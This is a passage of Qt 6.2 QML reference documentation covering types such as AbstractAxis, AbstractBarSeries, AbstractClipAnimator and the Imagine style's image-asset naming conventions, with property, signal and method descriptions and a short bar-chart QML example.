 ###  meshSmooth : [bool](qml-bool)

 If `true`, smooth versions of predefined meshes set via the [mesh](qml-qtdatavisualization-abstract3dseries#mesh-prop) property are used. This property does not affect custom meshes used when the mesh is set to [Abstract3DSeries.MeshUserDefined](qabstract3dseries#Mesh-enum). Defaults to `false`.

 ###  multiHighlightColor : [color](qml-color)

 Sets the multiple item highlight color of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.multiHighlightColor](qml-qtdatavisualization-theme3d#multiHighlightColor-prop).

 ###  multiHighlightGradient : [ColorGradient](qml-qtdatavisualization-colorgradient)

 Sets the multiple item highlight gradient of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.multiHighlightGradient](qml-qtdatavisualization-theme3d#multiHighlightGradient-prop).

 ###  name : [string](qml-string)

 The series name. It can be used in item label format with the tag `@seriesName`.

 **See also** [itemLabelFormat](qml-qtdatavisualization-abstract3dseries#itemLabelFormat-prop).

 ###  singleHighlightColor : [color](qml-color)

 Sets the single item highlight color of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.singleHighlightColor](qml-qtdatavisualization-theme3d#singleHighlightColor-prop).

 ###  singleHighlightGradient : [ColorGradient](qml-qtdatavisualization-colorgradient)

 Sets the single item highlight gradient of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.singleHighlightGradient](qml-qtdatavisualization-theme3d#singleHighlightGradient-prop).

 ###  type : [Abstract3DSeries](qml-qtdatavisualization-abstract3dseries).SeriesType

 The type of the series. One of the [QAbstract3DSeries::SeriesType](qabstract3dseries#SeriesType-enum) values.

 ###  userDefinedMesh : [string](qml-string)

 Sets the filename for a user defined custom mesh for objects that is used when [mesh](qml-qtdatavisualization-abstract3dseries#mesh-prop) is [Abstract3DSeries.MeshUserDefined](qabstract3dseries#Mesh-enum).

  **Note:** The file needs to be in the Wavefront OBJ format and include vertices, normals, and UVs. It also needs to be in triangles.

  ###  visible : [bool](qml-bool)

 Sets the visibility of the series. If `false`, the series is not rendered.

 Method Documentation
--------------------

 ###  void setMeshAxisAndAngle([vector3d](qml-vector3d) *axis*, [real](qml-real) *angle*)

 A convenience function to construct a mesh rotation quaternion from *axis* and *angle*.

 **See also** [meshRotation](qml-qtdatavisualization-abstract3dseries#meshRotation-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstract3dseries.html>

AbstractAxis QML Type
=====================

 A base type used for specialized axis types. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QAbstractAxis](qabstractaxis) |
|  Inherited By: | [BarCategoryAxis](qml-qtcharts-barcategoryaxis), [CategoryAxis](qml-qtcharts-categoryaxis), [DateTimeAxis](qml-qtcharts-datetimeaxis), [LogValueAxis](qml-qtcharts-logvalueaxis), and [ValueAxis](qml-qtcharts-valueaxis) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-abstractaxis-members.html)

 Properties
----------

 * **[alignment](qml-qtcharts-abstractaxis#alignment-prop)** : alignment
* **[color](qml-qtcharts-abstractaxis#color-prop)** : color
* **[gridLineColor](qml-qtcharts-abstractaxis#gridLineColor-prop)** : color
* **[gridVisible](qml-qtcharts-abstractaxis#gridVisible-prop)** : bool
* **[labelsAngle](qml-qtcharts-abstractaxis#labelsAngle-prop)** : int
* **[labelsColor](qml-qtcharts-abstractaxis#labelsColor-prop)** : color
* **[labelsFont](qml-qtcharts-abstractaxis#labelsFont-prop)** : font
* **[labelsTruncated](qml-qtcharts-abstractaxis#labelsTruncated-prop)** : int
* **[labelsVisible](qml-qtcharts-abstractaxis#labelsVisible-prop)** : bool
* **[lineVisible](qml-qtcharts-abstractaxis#lineVisible-prop)** : bool
* **[minorGridLineColor](qml-qtcharts-abstractaxis#minorGridLineColor-prop)** : color
* **[minorGridVisible](qml-qtcharts-abstractaxis#minorGridVisible-prop)** : bool
* **[orientation](qml-qtcharts-abstractaxis#orientation-prop)** : Qt.Orientation
* **[reverse](qml-qtcharts-abstractaxis#reverse-prop)** : alignment
* **[shadesBorderColor](qml-qtcharts-abstractaxis#shadesBorderColor-prop)** : color
* **[shadesColor](qml-qtcharts-abstractaxis#shadesColor-prop)** : color
* **[shadesVisible](qml-qtcharts-abstractaxis#shadesVisible-prop)** : bool
* **[titleFont](qml-qtcharts-abstractaxis#titleFont-prop)** : font
* **[titleText](qml-qtcharts-abstractaxis#titleText-prop)** : string
* **[titleVisible](qml-qtcharts-abstractaxis#titleVisible-prop)** : bool
* **[truncateLabels](qml-qtcharts-abstractaxis#truncateLabels-prop)** : int
* **[visible](qml-qtcharts-abstractaxis#visible-prop)** : bool

 Detailed Description
--------------------

 Each series can be bound to only one horizontal and vertical axis.

 The properties and visibility of various axis elements, such as axis line, title, labels, grid lines, and shades, can be individually controlled.

 Property Documentation
----------------------

 ###  alignment : alignment

 The alignment of the axis. Can be [Qt.AlignLeft](qt#AlignmentFlag-enum), [Qt.AlignRight](qt#AlignmentFlag-enum), [Qt.AlignBottom](qt#AlignmentFlag-enum), or [Qt.AlignTop](qt#AlignmentFlag-enum).

 ###  color : [color](qml-color)

 The color of the axis and tick marks.

 ###  gridLineColor : [color](qml-color)

 The color of the grid line.

 ###  gridVisible : [bool](qml-bool)

 The visibility of the grid lines.

 ###  labelsAngle : [int](qml-int)

 The angle of the axis labels in degrees.

 ###  labelsColor : [color](qml-color)

 The color of the axis labels.

 ###  labelsFont : [font](qml-font)

 The font of the axis labels.

 For more information, see [font](qml-font).

 ###  [read-only] labelsTruncated : [int](qml-int)

 Returns `true` if at least one label on the axis is truncated.

 Returned value will not be accurate before the axis is shown.

 ###  labelsVisible : [bool](qml-bool)

 The visibility of axis labels.

 ###  lineVisible : [bool](qml-bool)

 The visibility of the axis line.

 ###  minorGridLineColor : [color](qml-color)

 The color of the minor grid line.

 Applies only to axes that support minor grid lines.

 ###  minorGridVisible : [bool](qml-bool)

 The visibility of the minor grid lines. Applies only to axes that support minor grid lines.

 ###  orientation : [Qt](qml-qtqml-qt).Orientation

 The orientation of the axis. Fixed to either [Qt.Horizontal](qt#Orientation-enum) or [Qt.Vertical](qt#Orientation-enum) when the axis is set to a series.

 ###  reverse : alignment

 Defines whether a reverse axis is used. By default, the value is `false`.

 The reverse axis is supported with a line, spline, and scatter series, as well as an area series with a cartesian chart. All axes of the same orientation attached to the same series must be reversed if one is reversed or the behavior is undefined.

 ###  shadesBorderColor : [color](qml-color)

 The border (pen) color of the axis shades.

 ###  shadesColor : [color](qml-color)

 The fill (brush) color of the axis shades.

 ###  shadesVisible : [bool](qml-bool)

 The visibility of the axis shades.

 ###  titleFont : [font](qml-font)

 The font of the title of the axis.

 ###  titleText : [string](qml-string)

 The title of the axis. Empty by default. Axis titles support HTML formatting.

 ###  titleVisible : [bool](qml-bool)

 The visibility of the axis title. By default, the value is `true`.

 ###  truncateLabels : [int](qml-int)

 The truncation state of labels.

 Indicates whether labels should be truncated if there is no enough space for full text. It is equal to `true` by default.

 ###  visible : [bool](qml-bool)

 The visibility of the axis.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-abstractaxis.html>

AbstractAxis3D QML Type
=======================

 A base type for the axes of a graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QAbstract3DAxis](qabstract3daxis) |
|  Inherited By: | [CategoryAxis3D](qml-qtdatavisualization-categoryaxis3d) and [ValueAxis3D](qml-qtdatavisualization-valueaxis3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractaxis3d-members.html)

 Properties
----------

 * **[autoAdjustRange](qml-qtdatavisualization-abstractaxis3d#autoAdjustRange-prop)** : bool
* **[labelAutoRotation](qml-qtdatavisualization-abstractaxis3d#labelAutoRotation-prop)** : real
* **[labels](qml-qtdatavisualization-abstractaxis3d#labels-prop)** : list
* **[max](qml-qtdatavisualization-abstractaxis3d#max-prop)** : real
* **[min](qml-qtdatavisualization-abstractaxis3d#min-prop)** : real
* **[orientation](qml-qtdatavisualization-abstractaxis3d#orientation-prop)** : AbstractAxis3D.AxisOrientation
* **[title](qml-qtdatavisualization-abstractaxis3d#title-prop)** : string
* **[titleFixed](qml-qtdatavisualization-abstractaxis3d#titleFixed-prop)** : bool
* **[titleVisible](qml-qtdatavisualization-abstractaxis3d#titleVisible-prop)** : bool
* **[type](qml-qtdatavisualization-abstractaxis3d#type-prop)** : AbstractAxis3D.AxisType

 Detailed Description
--------------------

 This type is uncreatable, but contains properties that are exposed via subtypes.

 For AbstractAxis3D enums, see [QAbstract3DAxis::AxisOrientation](qabstract3daxis#AxisOrientation-enum) and [QAbstract3DAxis::AxisType](qabstract3daxis#AxisType-enum).

 Property Documentation
----------------------

 ###  autoAdjustRange : [bool](qml-bool)

 Defines whether the axis will automatically adjust the range so that all data fits in it.

 ###  labelAutoRotation : [real](qml-real)

 The maximum angle the labels can autorotate when the camera angle changes. The angle can be between 0 and 90, inclusive. The default value is 0. If the value is 0, axis labels do not automatically rotate. If the value is greater than zero, labels attempt to orient themselves toward the camera, up to the specified angle.

 ###  labels : [list](qml-list)

 The labels for the axis.

  **Note:** Setting this property for [ValueAxis3D](qml-qtdatavisualization-valueaxis3d) does nothing, as it generates labels automatically.

  ###  max : [real](qml-real)

 The maximum value on the axis. When setting this property, the minimum value is adjusted if necessary, to ensure that the range remains valid.

 ###  min : [real](qml-real)

 The minimum value on the axis. When setting this property, the maximum value is adjusted if necessary, to ensure that the range remains valid.

 ###  orientation : [AbstractAxis3D](qml-qtdatavisualization-abstractaxis3d).AxisOrientation

 The orientation of the axis.

 ###  title : [string](qml-string)

 The title for the axis.

 **See also** [titleVisible](qml-qtdatavisualization-abstractaxis3d#titleVisible-prop) and [titleFixed](qml-qtdatavisualization-abstractaxis3d#titleFixed-prop).

 ###  titleFixed : [bool](qml-bool)

 The rotation of axis titles.

 If `true`, axis titles in the primary graph view will be rotated towards the camera similarly to the axis labels. If `false`, axis titles are only rotated around their axis but are not otherwise oriented towards the camera. This property does not have any effect if the [labelAutoRotation](qml-qtdatavisualization-abstractaxis3d#labelAutoRotation-prop) property value is zero. Default value is `true`.

 **See also** [labelAutoRotation](qml-qtdatavisualization-abstractaxis3d#labelAutoRotation-prop), [title](qml-qtdatavisualization-abstractaxis3d#title-prop), and [titleVisible](qml-qtdatavisualization-abstractaxis3d#titleVisible-prop).

 ###  titleVisible : [bool](qml-bool)

 Defines whether the axis title is visible in the primary graph view.

 The default value is `false`.

 **See also** [title](qml-qtdatavisualization-abstractaxis3d#title-prop) and [titleFixed](qml-qtdatavisualization-abstractaxis3d#titleFixed-prop).

 ###  type : [AbstractAxis3D](qml-qtdatavisualization-abstractaxis3d).AxisType

 The type of the axis.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractaxis3d.html>

AbstractClipAnimator QML Type
=============================

 AbstractClipAnimator is the base class for types providing animation playback capabilities. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QAbstractClipAnimator](qt3danimation-qabstractclipanimator) |
|  Inherited By: | [BlendedClipAnimator](qml-qt3d-animation-blendedclipanimator) and [ClipAnimator](qml-qt3d-animation-clipanimator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractclipanimator-members.html)

 Properties
----------

 * **[channelMapper](qml-qt3d-animation-abstractclipanimator#channelMapper-prop)** : ChannelMapper
* **[clock](qml-qt3d-animation-abstractclipanimator#clock-prop)** : Clock
* **[loops](qml-qt3d-animation-abstractclipanimator#loops-prop)** : int
* **[normalizedTime](qml-qt3d-animation-abstractclipanimator#normalizedTime-prop)** : real
* **[running](qml-qt3d-animation-abstractclipanimator#running-prop)** : bool

 Detailed Description
--------------------

 Subclasses of AbstractClipAnimator can be aggregated by an Entity to provide animation capabilities. The animator components provide an interface for controlling the animation (e.g. start, stop). Each animator type requires some form of animation data such as an AbstractAnimationClip as well as a ChannelMapper which describes how the channels in the animation clip should be mapped onto the properties of the objects you wish to animate.

 The following subclasses are available:

 * Qt3D.Animation.[ClipAnimator](qml-qt3d-animation-clipanimator)
* Qt3D.Animation.[BlendedClipAnimator](qml-qt3d-animation-blendedclipanimator)

 Property Documentation
----------------------

 ###  channelMapper : ChannelMapper

 This property holds the ChannelMapper that controls how the channels in the animation clip map onto the properties of the target objects.

 ###  clock : Clock

 The clock controls the speed with which an animation is played.

 ###  loops : [int](qml-int)

 This property holds the number of times the animation should play.

 By default, loops is 1: the animation will play through once and then stop.

 If set to QAbstractClipAnimator::Infinite, the animation will continuously repeat until it is explicitly stopped.

 ###  normalizedTime : [real](qml-real)

 This property holds the clips normalized time.

 ###  running : [bool](qml-bool)

 This property holds a boolean indicating whether the animation is currently running.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractclipanimator.html>

AbstractBarSeries QML Type
==========================

 An abstract parent type for all bar series types. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QAbstractBarSeries](qabstractbarseries) |
|  Inherits: | [AbstractSeries](qml-qtcharts-abstractseries) |
|  Inherited By: | [BarSeries](qml-qtcharts-barseries), [HorizontalBarSeries](qml-qtcharts-horizontalbarseries), [HorizontalPercentBarSeries](qml-qtcharts-horizontalpercentbarseries), [HorizontalStackedBarSeries](qml-qtcharts-horizontalstackedbarseries), [PercentBarSeries](qml-qtcharts-percentbarseries), and [StackedBarSeries](qml-qtcharts-stackedbarseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-abstractbarseries-members.html)

 Properties
----------

 * **[axisX](qml-qtcharts-abstractbarseries#axisX-prop)** : AbstractAxis
* **[axisXTop](qml-qtcharts-abstractbarseries#axisXTop-prop)** : AbstractAxis
* **[axisY](qml-qtcharts-abstractbarseries#axisY-prop)** : AbstractAxis
* **[axisYRight](qml-qtcharts-abstractbarseries#axisYRight-prop)** : AbstractAxis
* **[barWidth](qml-qtcharts-abstractbarseries#barWidth-prop)** : real
* **[count](qml-qtcharts-abstractbarseries#count-prop)** : int
* **[labelsAngle](qml-qtcharts-abstractbarseries#labelsAngle-prop)** : real
* **[labelsFormat](qml-qtcharts-abstractbarseries#labelsFormat-prop)** : string
* **[labelsPosition](qml-qtcharts-abstractbarseries#labelsPosition-prop)** : enumeration
* **[labelsPrecision](qml-qtcharts-abstractbarseries#labelsPrecision-prop)** : real
* **[labelsVisible](qml-qtcharts-abstractbarseries#labelsVisible-prop)** : bool

 Signals
-------

 * **[barsetsAdded](qml-qtcharts-abstractbarseries#barsetsAdded-signal)**()
* **[barsetsRemoved](qml-qtcharts-abstractbarseries#barsetsRemoved-signal)**()
* **[clicked](qml-qtcharts-abstractbarseries#clicked-signal)**(int *index*, BarSet *barset*)
* **[doubleClicked](qml-qtcharts-abstractbarseries#doubleClicked-signal)**(int *index*, BarSet *barset*)
* **[hovered](qml-qtcharts-abstractbarseries#hovered-signal)**(bool *status*, int *index*, BarSet *barset*)
* **[pressed](qml-qtcharts-abstractbarseries#pressed-signal)**(int *index*, BarSet *barset*)
* **[released](qml-qtcharts-abstractbarseries#released-signal)**(int *index*, BarSet *barset*)

 Methods
-------

 * BarSet **[append](qml-qtcharts-abstractbarseries#append-method)**(string *label*, VariantList *values*)
* BarSet **[at](qml-qtcharts-abstractbarseries#at-method)**(int *index*)
* **[clear](qml-qtcharts-abstractbarseries#clear-method)**()
* BarSet **[insert](qml-qtcharts-abstractbarseries#insert-method)**(int *index*, string *label*, VariantList *values*)
* bool **[remove](qml-qtcharts-abstractbarseries#remove-method)**(BarSet *barset*)

 Detailed Description
--------------------

 In bar charts, bars are defined as bar sets that contain one data value for each category. The position of a bar is specified by the category and its height by the data value. Bar series that contain multiple bar sets group together bars that belong to the same category. The way the bars are displayed is determined by the type chosen to create the bar chart: [BarSeries](qml-qtcharts-barseries), [StackedBarSeries](qml-qtcharts-stackedbarseries), [PercentBarSeries](qml-qtcharts-percentbarseries), [HorizontalBarSeries](qml-qtcharts-horizontalbarseries), [HorizontalStackedBarSeries](qml-qtcharts-horizontalstackedbarseries), or [HorizontalPercentBarSeries](qml-qtcharts-horizontalpercentbarseries).

 If a [ValueAxis](qml-qtcharts-valueaxis) type is used instead of a [BarCategoryAxis](qml-qtcharts-barcategoryaxis) type for the main bar axis, the bars are grouped around the index value of the category.

 The following QML code snippet shows how to use the [BarSeries](qml-qtcharts-barseries) and [BarCategoryAxis](qml-qtcharts-barcategoryaxis) type to create a simple bar chart:

 
```
ChartView {
    title: "Bar series"
    anchors.fill: parent
    legend.alignment: Qt.AlignBottom
    antialiasing: true

    BarSeries {
        id: mySeries
        axisX: BarCategoryAxis { categories: ["2007", "2008", "2009", "2010", "2011", "2012" ] }
        BarSet { label: "Bob"; values: [2, 2, 3, 4, 5, 6] }
        BarSet { label: "Susan"; values: [5, 1, 2, 4, 1, 7] }
        BarSet { label: "James"; values: [3, 5, 8, 13, 5, 8] }
    }
}
```
 ![]

 Property Documentation
----------------------

 ###  axisX : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series. If you leave both axisX and [axisXTop](qml-qtcharts-abstractbarseries#axisXTop-prop) undefined, a [BarCategoryAxis](qml-qtcharts-barcategoryaxis) is created for the series.

 **See also** [axisXTop](qml-qtcharts-abstractbarseries#axisXTop-prop).

 ###  axisXTop : [AbstractAxis](qml-qtcharts-abstractaxis)

 The x-axis used for the series, drawn on top of the chart view.

  **Note:** You can only provide either [axisX](qml-qtcharts-abstractbarseries#axisX-prop) or axisXTop, but not both.

  **See also** [axisX](qml-qtcharts-abstractbarseries#axisX-prop).

 ###  axisY : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series. If you leave both axisY and [axisYRight](qml-qtcharts-abstractbarseries#axisYRight-prop) undefined, a [ValueAxis](qml-qtcharts-valueaxis) is created for the series.

 **See also** [axisYRight](qml-qtcharts-abstractbarseries#axisYRight-prop).

 ###  axisYRight : [AbstractAxis](qml-qtcharts-abstractaxis)

 The y-axis used for the series, drawn to the right of the chart view.

  **Note:** You can only provide either [axisY](qml-qtcharts-abstractbarseries#axisY-prop) or axisYRight, but not both.

  **See also** [axisY](qml-qtcharts-abstractbarseries#axisY-prop).

 ###  barWidth : [real](qml-real)

 The unit of width is the unit of the x-axis. The minimum width for bars is zero, and negative values are treated as zero. Setting the width to zero means that the width of the bar on the screen is one pixel regardless of the scale of the x-axis. Bars wider than zero are scaled using the x-axis scale.

  **Note:** When used with the [BarSeries](qml-qtcharts-barseries) type, this value specifies the width of a group of bars instead of that of a single bar.

  ###  count : [int](qml-int)

 The number of bar sets in a bar series.

 ###  labelsAngle : [real](qml-real)

 The angle of the value labels in degrees.

 ###  labelsFormat : [string](qml-string)

 The format used for showing labels in a bar series.

 **See also** [QAbstractBarSeries::labelsFormat](qabstractbarseries#labelsFormat-prop), [labelsVisible](qml-qtcharts-abstractbarseries#labelsVisible-prop), and [labelsPosition](qml-qtcharts-abstractbarseries#labelsPosition-prop).

 ###  labelsPosition : [enumeration](qml-enumeration)

 The position of the data value labels:

 

| Constant | Description |
| --- | --- |
| `AbstractBarSeries.LabelsCenter` | Label is located in the center of the bar. |
| `AbstractBarSeries.LabelsInsideEnd` | Label is located inside the bar at the top. |
| `AbstractBarSeries.LabelsInsideBase` | Label is located inside the bar at the bottom. |
| `AbstractBarSeries.LabelsOutsideEnd` | Label is located outside the bar at the top. |

 **See also** [labelsVisible](qml-qtcharts-abstractbarseries#labelsVisible-prop) and [labelsFormat](qml-qtcharts-abstractbarseries#labelsFormat-prop).

 ###  labelsPrecision : [real](qml-real)

 The maximum amount of significant digits shown in value labels.

 Default value is 6.

 ###  labelsVisible : [bool](qml-bool)

 The visibility of the labels in a bar series.

 Signal Documentation
--------------------

 ###  barsetsAdded()

 This signal is emitted when bar sets are added to the series.

 The corresponding signal handler is `onBarsetsAdded`.

 **Note:** The corresponding handler is `onBarsetsAdded`.

 ###  barsetsRemoved()

 This signal is emitted when bar sets are removed from the series.

 The corresponding signal handler is `onBarsetsRemoved`.

 **Note:** The corresponding handler is `onBarsetsRemoved`.

 ###  clicked([int](qml-int) *index*, [BarSet](qml-qtcharts-barset) *barset*)

 This signal is emitted when the user clicks the bar specified by *index* in the bar set specified by *barset*.

 The corresponding signal handler is `onClicked`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked([int](qml-int) *index*, [BarSet](qml-qtcharts-barset) *barset*)

 This signal is emitted when the user double-clicks the bar specified by *index* in the bar set specified by *barset*.

 The corresponding signal handler is `onDoubleClicked`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  hovered([bool](qml-bool) *status*, [int](qml-int) *index*, [BarSet](qml-qtcharts-barset) *barset*)

 This signal is emitted when a mouse is hovered over the bar specified by *index* in the bar set specified by *barset*. When the mouse moves over the bar, *status* turns `true`, and when the mouse moves away again, it turns `false`.

 The corresponding signal handler is `onHovered`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed([int](qml-int) *index*, [BarSet](qml-qtcharts-barset) *barset*)

 This signal is emitted when the user clicks the bar specified by *index* in the bar set specified by *barset* and holds down the mouse button.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 ###  released([int](qml-int) *index*, [BarSet](qml-qtcharts-barset) *barset*)

 This signal is emitted when the user releases the mouse press on the bar specified by *index* in the bar set specified by *barset*.

 The corresponding signal handler is `onReleased`.

 **Note:** The corresponding handler is `onReleased`.

 Method Documentation
--------------------

 ###  [BarSet](qml-qtcharts-barset) append([string](qml-string) *label*, VariantList *values*)

 Adds a new bar set with *label* and *values* to the index. *values* is a list of real values.

 For example:

 
```
myBarSeries.append("set 1", [0, 0.2, 0.2, 0.5, 0.4, 1.5, 0.9]);
```
 ###  [BarSet](qml-qtcharts-barset) at([int](qml-int) *index*)

 Returns the bar set at *index*. Returns null if the index is not valid.

 ###  clear()

 Removes all bar sets from the series.

 ###  [BarSet](qml-qtcharts-barset) insert([int](qml-int) *index*, [string](qml-string) *label*, VariantList *values*)

 Adds a new bar set with *label* and *values* to *index*. *values* can be a list of real values or a list of [XYPoint](qml-qtcharts-xypoint) types.

 If the index value is equal to or less than zero, the new bar set is prepended to the bar series. If the index value is equal to or greater than the number of bar sets in the bar series, the new bar set is appended to the bar series.

 **See also** [append](qml-qtcharts-abstractbarseries#append-method)().

 ###  [bool](qml-bool) remove([BarSet](qml-qtcharts-barset) *barset*)

 Removes the bar set specified by *barset* from the series. Returns `true` if successful, `false` otherwise.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-abstractbarseries.html>

AbstractInputHandler3D QML Type
===============================

 Base type for all [QtDataVisualization](https://doc.qt.io/qt-6.2/qtdatavisualization-qmlmodule.html) input handlers. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QAbstract3DInputHandler](qabstract3dinputhandler) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractinputhandler3d-members.html)

 Detailed Description
--------------------

 This type is uncreatable.

 For AbstractInputHandler3D enums, see [QAbstract3DInputHandler::InputView](qabstract3dinputhandler#InputView-enum).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractinputhandler3d.html>

AbstractPhysicalDevice QML Type
===============================

 QML frontend for the abstract [Qt3DInput::QAbstractPhysicalDevice](qt3dinput-qabstractphysicaldevice) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.6 |
|  Instantiates: | [QAbstractPhysicalDevice](qt3dinput-qabstractphysicaldevice) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractphysicaldevice-members.html)

 Detailed Description
--------------------

 The base class used by Qt3d to interact with arbitrary input devices.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractphysicaldevice.html>

Imagine Style
=============

 The Imagine Style is based on configurable image assets. [More...](qtquickcontrols2-imagine#detailed-desc-imagine)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls.Imagine 2.12 |
|  Since: |  Qt 5.10 |


Attached Properties
-------------------

 * [**path**](qtquickcontrols2-imagine#imagine-path-attached-prop) : string

 Detailed Description
--------------------

 The Imagine style is based on image assets. The style comes with a default set of images, but the images can be easily changed by providing a directory with images using a predefined naming convention.

 ![]


The Imagine style with the default images

 To run an application with the Imagine style, see [Using Styles in Qt Quick Controls](qtquickcontrols2-styles#using-styles-in-qt-quick-controls).

 ### File Names

 The image files are named using the following convention:

 `<control>-<element>-<states>`

 The `<control>` and `<element>` sections are mandatory, but the `<states>` section is optional. For example, if a single file named `"button-background.9.png"` is provided for [Button](qml-qtquick-controls2-button), it will be used for every state that `Button` supports. It is up to the developer to decide the set of states that they will provide images for. However, it is recommended to provide images for the most common control states where possible, such as `disabled`, `pressed`, etc. This will ensure that interactive controls visually behave as the end user would expect them to.

 ### Element Reference

 The following table lists which elements are supported for each control, along with the possible states for that element, and the file extension that it expects. An element is an image that represents a certain visual part of the control. For example, `Button`'s `"background"` element represents its [background](qml-qtquick-controls2-control#background-prop).

 

| Control | Element | States | Extension |
| --- | --- | --- | --- |
| [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) | background | active | .9.png (or .png) |
| [BusyIndicator](qml-qtquick-controls2-busyindicator) | animation | disabled, running, mirrored, hovered | .webp |
|  | background | same as above | .webp |
| [Button](qml-qtquick-controls2-button) | background | disabled, pressed, checked, checkable, focused, highlighted, flat, mirrored, hovered | .9.png |
| [CheckBox](qml-qtquick-controls2-checkbox) | background | disabled, pressed, checked, partially-checked, focused, mirrored, hovered | .9.png (or .png) |
|  | indicator | same as above | .png |
| [CheckDelegate](qml-qtquick-controls2-checkdelegate) | background | disabled, pressed, checked, partially-checked, focused, highlighted, mirrored, hovered | .9.png (or .png) |
|  | indicator | same as above | .png |
| [ComboBox](qtquickcontrols-changes-qt6#combobox) | background | disabled, pressed, editable, open, focused, mirrored, hovered, flat | .9.png (or .png) |
|  | indicator | same as above | .png |
|  | popup | same as above | .9.png (or .png) |
| [DelayButton](qml-qtquick-controls2-delaybutton) | background | disabled, pressed, checked, checkable, focused, mirrored, hovered | .9.png (or .png) |
|  | progress | same as above | .9.png (or .png) |
|  | mask | same as above | .9.png (or .png) |
| [Dial](qml-qtquick-controls2-dial) | background | disabled, pressed, focused, mirrored, hovered | .9.png (or .png) |
|  | handle | same as above | .9.png (or .png) |
| [Dialog](qtquickcontrols-changes-qt6#dialog) | background | modal, dim | .9.png (or .png) |
|  | title | same as above | .9.png (or .png) |
|  | overlay | modal | .9.png (or .png) |
| [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) | background | disabled, mirrored | .9.png (or .png) |
| [Drawer](qml-qtquick-controls2-drawer) | background | modal, dim, top, left, right, bottom | .9.png (or .png) |
|  | overlay | modal | .9.png (or .png) |
| [Frame](qml-qtquick-controls2-frame) | background | disabled, mirrored | .9.png (or .png) |
| [GroupBox](qml-qtquick-controls2-groupbox) | background | disabled, mirrored | .9.png (or .png) |
|  | title | same as above | .9.png (or .png) |
| [ItemDelegate](qml-qtquick-controls2-itemdelegate) | background | disabled, pressed, focused, highlighted, mirrored, hovered | .9.png (or .png) |
| [Label](qml-qtquick-controls2-label) | background | disabled, mirrored, hovered | .9.png (or .png) |
| [Menu](qtquickcontrols-changes-qt6#menu) | background | modal, dim | .9.png (or .png) |
|  | overlay | modal | .9.png (or .png) |
| [MenuItem](qml-qtquick-controls2-menuitem) | arrow | disabled, pressed, checked, focused, highlighted, mirrored, hovered | .png |
|  | background | same as above | .9.png (or .png) |
|  | indicator | same as above | .png |
| [MenuSeparator](qml-qtquick-controls2-menuseparator) | background | disabled, mirrored | .9.png (or .png) |
|  | separator | same as above | .9.png (or .png) |
| [Page](qml-qtquick-controls2-page) | background | disabled, mirrored | .9.png (or .png) |
| [PageIndicator](qml-qtquick-controls2-pageindicator) | background | disabled, mirrored, hovered | .9.png (or .png) |
|  | delegate | disabled, pressed, current, mirrored, hovered | .png |
| [Pane](qml-qtquick-controls2-pane) | background | disabled, mirrored | .9.png (or .png) |
| [Popup](qml-qtquick-controls2-popup) | background | modal, dim | .9.png (or .png) |
|  | overlay | modal | .9.png (or .png) |
| [ProgressBar](qml-qtquick-controls2-progressbar) | animation | disabled, mirrored, hovered | .png |
|  | background | disabled, indeterminate, mirrored, hovered | .9.png (or .png) |
|  | mask | same as above | .9.png (or .png) |
|  | progress | same as above | .9.png (or .png) |
| [RadioButton](qml-qtquick-controls2-radiobutton) | background | disabled, pressed, checked, focused, mirrored, hovered | .9.png (or .png) |
|  | indicator | same as above | .png |
| [RadioDelegate](qml-qtquick-controls2-radiodelegate) | background | disabled, pressed, checked, focused, highlighted, mirrored, hovered | .9.png (or .png) |
